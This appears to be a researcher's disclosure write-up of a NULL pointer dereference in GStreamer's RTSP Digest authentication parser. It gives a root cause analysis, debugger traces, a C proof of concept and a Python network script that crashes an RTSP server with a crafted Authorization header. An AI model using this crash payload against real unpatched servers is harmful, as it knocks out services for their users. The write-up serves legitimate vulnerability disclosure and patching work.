CVE-2026-85150
Introduction
This article focuses on a parsing bug I “accidentally” found in the GStreamer RTSP library. “Accidentally” as in I didn’t particularly set out to find this bug in GStreamer, but I noticed this while trying to reverse engineer the firmware of an IP camera. The following are details about the CVE, assigned by Red Hat.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-85150 |
| CVSS 3.1 score | 7.5 |
| CVSS 3.1 vector string | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-476: NULL Pointer Dereference |
Interestingly, Red Hat’s description noted that this bug can be triggered either by a remote unauthenticated attacker against an RTSP server with authentication enabled, or by a malicious RTSP server against RTSP clients.
The next few sections contain the writeup for CVE-2026-85150.
Summary
There is a parsing bug in gst_rtsp_message_parse_auth_credentials found in gstreamer/subprojects/gst-plugins-base/gst-libs/gst/rtsp/gstrtspmessage.c at lines 1408-1427. This allows an attacker to trigger a non-fatal GLib assertion in g_strndup(value, item_end-value), causing it to return NULL, which is then stored in auth_param->value and subsequently dereferenced, triggering a SIGSEGV.
Notably, g_strndup(value, item_end-value) can be called with item_end-value=0xffffffffffffffff (G_MAXSIZE), which returns NULL. If there are any downstream dereferences of auth_param->value, it can lead to a DoS.
Additionally, if the value contains ", we can trigger a SIGSEGV when decode_quoted_string(auth_param->value) attempts to dereference the NULL pointer.
Thus, a remote unauthenticated attacker can send a malformed request with a specially crafted Authorization Digest header against an RTSP server with authentication enabled to crash the RTSP server, leading to a DoS. Red Hat further noted that this bug can also be triggered by a malicious RTSP server against RTSP clients.
While I have only tested this on version 1.28.2, I believe that versions < 1.28.7 are affected.
Root cause analysis
The root cause analysis is based on the payload Digest key= ",foo=bar, and the relevant code is shown below.
while (*header) {
const gchar *item_end;
const gchar *eq;
header = skip_commas (header);
item_end = skip_item (header);
for (eq = header; *eq != '\0' && *eq != '=' && eq < item_end; eq++);
if (eq[0] == '=') {
GstRTSPAuthParam *auth_param = g_new0 (GstRTSPAuthParam, 1);
const gchar *value;
/* have an actual param */
auth_param->name = g_strndup (header, eq - header);
value = eq + 1;
value = skip_lws (value);
auth_param->value = g_strndup (value, item_end - value);
if (value[0] == '"')
decode_quoted_string (auth_param->value);
...
}
...
}
When parsing key= ,, the if (eq[0] == '=') check passes and execution enters the code block which calls g_new0 to allocate a new buffer for GstRTSPAuthParam. The call to auth_param->name = g_strndup (header, eq - header); successfully duplicates the string key and stores it in auth_param->name.
Next, the code attempts to perform value = eq + 1;, and value now points to [space]. item_end seems to also point to [space], which was set earlier by skip_item. Next, value = skip_lws (value); attempts to move value past any [space] character, which moves it to ,. This is one character after [space], and thus the computation item_end - value becomes a negative value (-0x1).
Since item_end - value = -1 and the second parameter of g_strndup is type gsize (unsigned), -1 is converted to 0xffffffffffffffff (G_MAXSIZE), leading to the failed assertion. g_strndup (value, item_end - value) returns NULL and auth_param->value = NULL.
Any downstream dereference of auth_param->value can therefore lead to a dereference error, possibly causing DoS.
We should immediately see that the next code path if (value[0] == '"') decode_quoted_string (auth_param->value); is triggered when the payload is Digest key= \",foo=bar. This dereferences NULL, triggering a SIGSEGV. The following shows the trace in GDB with the instruction at address 0x7ffff7f8a858 <gst_rtsp_message_parse_auth_credentials+984> attempting to dereference 1 (NULL+1).
pwndbg>
Breakpoint 3, 0x00007ffff7f8a858 in gst_rtsp_message_parse_auth_credentials () from /usr/lib/x86_64-linux-gnu/libgstrtsp-1.0.so.0
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
RAX 0
RBX 0x5555555634fa ◂— '= ",foo=bar'
RCX 0x555555669
RDX 0xf
RDI 0x555555669db0 ◂— 0x555555669
RSI 0x555555559680 ◂— 0xf000f0010000c /* '\x0c' */
R8 0
R9 0x3a8b5d3f900184dc
R10 0x41
R11 0x202
R12 0x7ffff7d17160 ◂— 0x4000400040004
R13 0x5555555634fb ◂— ' ",foo=bar'
R14 0x5555555634fc ◂— '",foo=bar'
R15 0x555555563220 —▸ 0x55555555f800 ◂— 0x55500079656b /* 'key' */
RBP 0x7fffffffd890 —▸ 0x7fffffffd8d0 —▸ 0x7fffffffd980 —▸ 0x7fffffffd9e0 ◂— 0
RSP 0x7fffffffd820 —▸ 0x555555563170 ◂— 1
*RIP 0x7ffff7f8a858 (gst_rtsp_message_parse_auth_credentials+984) ◂— movzx edx, byte ptr [rax + 1]
────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
b+ 0x7ffff7f8a79a <gst_rtsp_message_parse_auth_credentials+794> call g_strndup@plt <g_strndup@plt>
0x7ffff7f8a79f <gst_rtsp_message_parse_auth_credentials+799> mov qword ptr [r15 + 8], rax [0x555555563228] <= 0
0x7ffff7f8a7a3 <gst_rtsp_message_parse_auth_credentials+803> cmp byte ptr [r14], 0x22 0x22 - 0x22 EFLAGS => 0x246 [ cf PF af ZF sf IF df of iopl:00 ac ]
0x7ffff7f8a7a7 <gst_rtsp_message_parse_auth_credentials+807> ✔ je gst_rtsp_message_parse_auth_credentials+984 <gst_rtsp_message_parse_auth_credentials+984>
↓
b► 0x7ffff7f8a858 <gst_rtsp_message_parse_auth_credentials+984> movzx edx, byte ptr [rax + 1] <Cannot dereference [1]>
0x7ffff7f8a85c <gst_rtsp_message_parse_auth_credentials+988> cmp dl, 0x22
0x7ffff7f8a85f <gst_rtsp_message_parse_auth_credentials+991> ? je gst_rtsp_message_parse_auth_credentials+1064 <gst_rtsp_message_parse_auth_credentials+1064>
PoC
I did my testing using the following setup:
- Operating System: Ubuntu 26.04 (Resolute Raccoon) LTS
- Device: Virtual Machine
- GStreamer Version: 1.28.2
Local PoC
The following is the PoC (poc_local.c) I used for testing.
To reproduce the bug locally, we can follow these steps:
- Install the required libraries with the command
sudo apt-get install libgstreamer1.0-dev libgstreamer-plugins-base1.0-dev - Compile the PoC using the command
gcc -g poc_local.c -o poc_local $(pkg-config --cflags --libs gstreamer-1.0 gstreamer-rtsp-1.0) - Run the PoC using the command
./poc_local
We should see a crash at the same location as in the previous section.
#include <gst/gst.h>
#include <gst/rtsp/gstrtspmessage.h>
#include <gst/rtsp/gstrtspdefs.h>
#include <stdio.h>
int main(int argc, char **argv) {
gst_init(&argc, &argv);
GstRTSPMessage *msg = NULL;
if (gst_rtsp_message_new_request(&msg, GST_RTSP_OPTIONS, "rtsp://x/") != GST_RTSP_OK) {
fprintf(stderr, "new_request failed\n");
return 2;
}
const char *evil = "Digest key= \",foo=bar";
gst_rtsp_message_add_header(msg, GST_RTSP_HDR_AUTHORIZATION, evil);
GstRTSPAuthCredential **creds =
gst_rtsp_message_parse_auth_credentials(msg, GST_RTSP_HDR_AUTHORIZATION);
gst_rtsp_message_free(msg);
return 0;
}
Network PoC
We can also test against the example RTSP server in gst-rtsp-server/examples/test-auth.c link. We can download test-auth.c from the given link.
The following is the PoC (poc_net.py) I used for testing.
import argparse
import socket
def build_request(path: str, cseq: int, auth_header: str) -> bytes:
return (
f"DESCRIBE rtsp://target{path} RTSP/1.0\r\n"
f"CSeq: {cseq}\r\n"
f"User-Agent: parse-auth-poc/2\r\n"
f"Accept: application/sdp\r\n"
f"{auth_header}\r\n"
f"\r\n"
).encode("latin1")
def send(host: str, port: int, req: bytes) -> None:
print(f"[*] connecting to {host}:{port}")
print(f"[*] sending {len(req)} bytes:")
print(" " + req.decode("latin1", "replace").replace("\r\n", "\n ").rstrip())
s = socket.create_connection((host, port), timeout=5)
try:
s.sendall(req)
try:
data = s.recv(4096)
except (ConnectionResetError, socket.timeout) as e:
print(f"[!] connection dropped/timed out ({e!r})")
return
if not data:
print("[!] empty reply (peer closed)")
return
print(f"[+] received {len(data)} bytes:")
print(" " + data.decode("latin1", "replace").replace("\r\n", "\n ").rstrip())
finally:
s.close()
def main() -> int:
ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
ap.add_argument("host")
ap.add_argument("port", type=int)
args = ap.parse_args()
auth = 'Authorization: Digest key= ",foo=bar'
print(f"[*] Testing with {auth} ")
req = build_request("/test", cseq=1, auth_header=auth)
send(args.host, args.port, req)
return 0
if __name__ == "__main__":
main()
To reproduce the bug over the network, we can follow these steps:
- Compile the
test-authexample using the commandgcc -g test-auth.c -o test-auth $(pkg-config --cflags --libs gstreamer-1.0 gstreamer-rtsp-1.0 gstreamer-rtsp-server-1.0) - Run the compiled binary using the command
./test-auth - In a second terminal, run the Python PoC using the command
python3 poc_net.py 127.0.0.1 8554
Running the test-auth binary under GDB reveals that the crash happens at the same location. The instruction at 0x7ffff7bf0858 <gst_rtsp_message_parse_auth_credentials+984> attempts to dereference [rax + 1] where rax = 0, which leads to the crash.
[New Thread 0x7ffff6f666c0 (LWP 10520)]
stream with user:password ready at rtsp://127.0.0.1:8554/test
stream with admin:power ready at rtsp://127.0.0.1:8554/test
stream with admin2:power2 ready at rtsp://127.0.0.1:8554/test2
removing all sessions
[New Thread 0x7ffff67656c0 (LWP 10532)]
(test-auth:10514): GLib-CRITICAL **: 10:50:22.134: g_strndup: assertion 'n < G_MAXSIZE' failed
Thread 3 "pool-0" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff67656c0 (LWP 10532)]
0x00007ffff7bf0858 in gst_rtsp_message_parse_auth_credentials () from /usr/lib/x86_64-linux-gnu/libgstrtsp-1.0.so.0
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
RAX 0
RBX 0x7fffe8000e0a ◂— '= ",foo=bar'
RCX 0x7fffe8000
RDX 0xf
RDI 0x7fffe8000fd0 ◂— 0x7fffe8000
RSI 0x7fffe8000880 ◂— 0x10000f000f000c /* '\x0c' */
R8 0
R9 0x9bd8c2c28c13b7f1
R10 0x45
R11 0x7ffff67656c0 ◂— 0x7ffff67656c0
R12 0x7ffff7cd2160 ◂— 0x4000400040004
R13 0x7fffe8000e0b ◂— ' ",foo=bar'
R14 0x7fffe8000e0c ◂— '",foo=bar'
R15 0x7fffe8000f90 —▸ 0x7fffe8000fb0 ◂— 0x79656b /* 'key' */
RBP 0x7ffff6764680 —▸ 0x7ffff6764710 —▸ 0x7ffff6764730 —▸ 0x7ffff6764770 —▸ 0x7ffff67647d0 ◂— ...
RSP 0x7ffff6764610 —▸ 0x5555556f9cf8 ◂— 1
RIP 0x7ffff7bf0858 (gst_rtsp_message_parse_auth_credentials+984) ◂— movzx edx, byte ptr [rax + 1]
────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
► 0x7ffff7bf0858 <gst_rtsp_message_parse_auth_credentials+984> movzx edx, byte ptr [rax + 1] <Cannot dereference [1]>
0x7ffff7bf085c <gst_rtsp_message_parse_auth_credentials+988> cmp dl, 0x22
0x7ffff7bf085f <gst_rtsp_message_parse_auth_credentials+991> ? je gst_rtsp_message_parse_auth_credentials+1064 <gst_rtsp_message_parse_auth_credentials+1064>
0x7ffff7bf0861 <gst_rtsp_message_parse_auth_credentials+993> test dl, dl
0x7ffff7bf0863 <gst_rtsp_message_parse_auth_credentials+995> ? je gst_rtsp_message_parse_auth_credentials+1064 <gst_rtsp_message_parse_auth_credentials+1064>
In the terminal running gst-rtsp-server, we can see the following output. This is consistent with the crash described earlier.
stream with user:password ready at rtsp://127.0.0.1:8554/test
stream with admin:power ready at rtsp://127.0.0.1:8554/test
stream with admin2:power2 ready at rtsp://127.0.0.1:8554/test2
(test-auth:10416): GLib-CRITICAL **: 10:45:24.807: g_strndup: assertion 'n < G_MAXSIZE' failed
Segmentation fault (core dumped) ./test-auth
In the terminal running the PoC (python3 poc_net.py 127.0.0.1 8554), we should see the following output. There is no RTSP response as the server drops the connection, which is consistent with the SIGSEGV that occurs before any response is written.
[*] Testing with Authorization: Digest key= ",foo=bar
[*] connecting to 127.0.0.1:8554
[*] sending 142 bytes:
DESCRIBE rtsp://target/test RTSP/1.0
CSeq: 1
User-Agent: parse-auth-poc/2
Accept: application/sdp
Authorization: Digest key= ",foo=bar
[!] empty reply (peer closed)
Timeline
- August 26, 2026 - Reported to GStreamer’s maintainers
- September 2, 2026 - GStreamer’s maintainers authored a fix
- September 2, 2026 - Applied for CVE from Red Hat
- September 3, 2026 - Red Hat assigned CVE-2026-85150
- September 7, 2026 - GStreamer 1.28.7 released
Conclusion
This article is a short writeup of a bug that I found, for which I was awarded CVE-2026-85150. The impact of this bug is DoS, and there is no risk of code execution or memory corruption.
I would like to thank GStreamer’s maintainers for responding to the issue and applying the patch so quickly.
Additionally, with this first bug, I would like to acknowledge and thank past and present colleagues I have had the privilege of working with over the past two years. I am grateful for the guidance, support, and mentorship I received, which shaped my early career in cybersecurity.
External links
- https://gstreamer.freedesktop.org/security/sa-2026-0082.html
- https://gitlab.freedesktop.org/gstreamer/gstreamer/-/commit/633eae4c7c4b25b9043372a8a91cf7a386d5168b
- https://access.redhat.com/security/cve/cve-2026-85150
- https://bugzilla.redhat.com/show_bug.cgi?id=2527936